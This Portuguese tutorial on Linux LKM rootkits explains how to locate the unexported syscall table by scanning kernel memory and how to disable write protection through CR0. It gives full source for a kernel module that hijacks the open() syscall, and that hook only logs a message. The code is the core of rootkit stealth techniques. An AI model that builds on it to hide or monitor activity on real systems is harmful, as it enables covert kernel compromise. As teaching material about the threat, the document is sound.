
Introdução
Rootkits são programas tipicamente maliciosos que visam ficar ocultos no sistema, designados geralmente para esconder a existência de certos processos e/ou programas dos métodos normais de detecção ou permitir acesso privilegiado ao sistema.O termo rootkit é a concatenação de “root”, tradicionalmente o nome da conta privilegiada no sistema operacional UNIX e a palavra “kit”, que se refere aos componentes de software que foram implementados na ferramenta.
LKM Rootkits
Loadable Kernel Modules(LKM) são módulos utilizados para expandir as funcionalidades e que podem ser carregados dinamicamente sem a necessidade de recompilação do kernel, são geralmente drivers, filesystems ou system calls.LKM Rootkits são módulos de kernel que funcionam geralmente 'hookando'(sequestrando) system calls, esta técnica foi popularizada em 1999 quando o grupo The Hackers Choice(THC) publicou um artigo que ficou conhecido como LKM HACKING[2].Hookando syscalls um atacante pode esconder arquivos, diretórios ou processos, monitorar operações de arquivos etc.
LKM Rootkit para o kernel linux atual
Houveram muitas mudanças no kernel linux desde a publicação do artigo LKM HACKING do grupo THC, isso afeta como os rootkits são escritos, então para escrever rootkits para os kernels atuais devemos atentar para estas modificações.
Implementando, o que mudou?
A partir do kernel linux 2.6 em diante, temos que atentar que:
- Syscall table não é exportada -> Para hookarmos alguma syscall temos que encontrar o endereço da syscall table na área de memória do kernel
- Syscall table não possui permissão de escrita -> Para hookarmos a syscall temos que alterar o endereço da syscall na syscall table, para isso precisamos modificar a permissão da mesma
Obs: Os testes foram realizados no kernel linux 4.4.0
Achando a syscall table
Para hookar uma determinada syscall precisamos mudar o endereço da syscall na sys_call_table. Antes do kernel linux 2.6 o endereço da syscall table costumava ser exportado, agora não é mais, então precisamos encontrá-lo. Uma maneira de fazer isto é olhar no arquivo System.map.[code]
# grep sys_call_table /boot/System.map-4.4.0-22-generic
c17ac180 R sys_call_table
[/code]
Achando a syscall table dinamicamente
Olhar o System.map e encontrar o endereço da syscall table, para então modificar o código fonte do rootkit em cada compilação de kernel não é muito pratico.Para solucionar este problema podemos encontrar o endereço da syscall table dinamicamente, isso pode ser feito buscando por uma determinada syscall na área de memória do kernel, vejamos como[3]:[sourcecode language="c"]
unsigned long *
get_syscall_table_bf(void)
{
unsigned long *syscall_table;
unsigned long int i;
for (i = START_MEM; i < END_MEM; i += sizeof(void *)) {
syscall_table = (unsigned long *)i;
if (syscall_table[__NR_close] == (unsigned long)sys_close)
return syscall_table;
}
return NULL;
}
[/sourcecode]
Permissões
Como já dito, para hookar uma syscall precisamos alterar o endereço da syscall na sys_call_table, a partir do kernel linux 2.6 a sys_call_table não possui permissão de escrita, isso significa que temos que mudar as permissões da área de memória, podemos fazer isto utilizando write_cr0().[sourcecode language="c"]
static inline void
protect_memory(void)
{
write_cr0(cr0);
}
static inline void
unprotect_memory(void)
{
write_cr0(cr0 & ~0x00010000);
}
[/sourcecode]
Hookando uma syscall
Após encontrar o endereço da sys_call_table e alterar as permissões, podemos hookar alguma syscall.Para isso, basta modificar o endereço da syscall desejada na sys_call_table para o endereço da nossa syscall, mas antes precisamos salvar o endereço original da syscall, para podermos restaurá-la ao remover o módulo e também para utilizarmos a syscall em nossa syscall modificada, vejamos como isso ficaria:[sourcecode language="c"]
sys_call_table = (unsigned long *)get_syscall_table_bf();
if (!sys_call_table) {
printk(KERN_INFO "sys_call_table not fount");
return -1;
}
cr0 = read_cr0();
orig_open = (orig_open_t)sys_call_table[__NR_open];
unprotect_memory();
sys_call_table[__NR_open] = (unsigned long)hacked_open;
protect_memory();
[/sourcecode]Agora vejamos um o exemplo de uma syscall open() modificada:[sourcecode language="c"]
asmlinkage static int
hacked_open(const char __user *pathname, int flags, mode_t mode)
{
printk(KERN_INFO "sys_open() hook!n");
return orig_open(pathname, flags, mode);
}
[/sourcecode]No exemplo acima, toda vez que a syscall open for chamada, na verdade quem será executada é a hacked_open. A hacked_open executa um printk com a mensagem "sys_open() hook!" e retorna chamando a syscall open original.
Colocando tudo junto
Vejamos o código completo[4]:[sourcecode language="c"]
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/unistd.h>
#include <asm/pgtable.h>
#include <linux/slab.h>
#include <linux/syscalls.h>
unsigned long cr0;
static unsigned long *sys_call_table;
typedef asmlinkage long (*orig_open_t)(const char *, int, mode_t);
orig_open_t orig_open;
#define START_MEM PAGE_OFFSET
#define END_MEM ULONG_MAX
unsigned long *
get_syscall_table_bf(void)
{
unsigned long *syscall_table;
unsigned long int i;
for (i = START_MEM; i < END_MEM; i += sizeof(void *)) {
syscall_table = (unsigned long *)i;
if (syscall_table[__NR_close] == (unsigned long)sys_close)
return syscall_table;
}
return NULL;
}
/* sys_open hook */
asmlinkage static int
hacked_open(const char __user *pathname, int flags, mode_t mode)
{
printk(KERN_INFO "sys_open() hook!n");
return orig_open(pathname, flags, mode);
}
static inline void
protect_memory(void)
{
write_cr0(cr0);
}
static inline void
unprotect_memory(void)
{
write_cr0(cr0 & ~0x00010000);
}
static int __init
syshook_init(void)
{
sys_call_table = (unsigned long *)get_syscall_table_bf();
if (!sys_call_table) {
printk(KERN_INFO "sys_call_table not fount");
return -1;
}
cr0 = read_cr0();
orig_open = (orig_open_t)sys_call_table[__NR_open];
unprotect_memory();
sys_call_table[__NR_open] = (unsigned long)hacked_open;
protect_memory();
return 0;
}
static void __exit
syshook_cleanup(void)
{
if (orig_open) {
unprotect_memory();
sys_call_table[__NR_open] = (unsigned long)orig_open;
protect_memory();
}
}
module_init(syshook_init);
module_exit(syshook_cleanup);
MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("Victor Ramos Mello");
MODULE_DESCRIPTION("A sys_call_table hooking example");
[/sourcecode]Após o hooking da syscall, sempre que a syscall open for chamada a menssagem "sys_open() hook!" poderá ser vista ao rodar o comando dmesg.
Conlusão
Hooking de syscalls através de LKM Rootkits ainda é uma ameaça real para a segurança dos sistemas, podendo ser utilizado por atacantes desde que levem em consideração as mudanças do kernel linux ao longo do tempo.


.png)
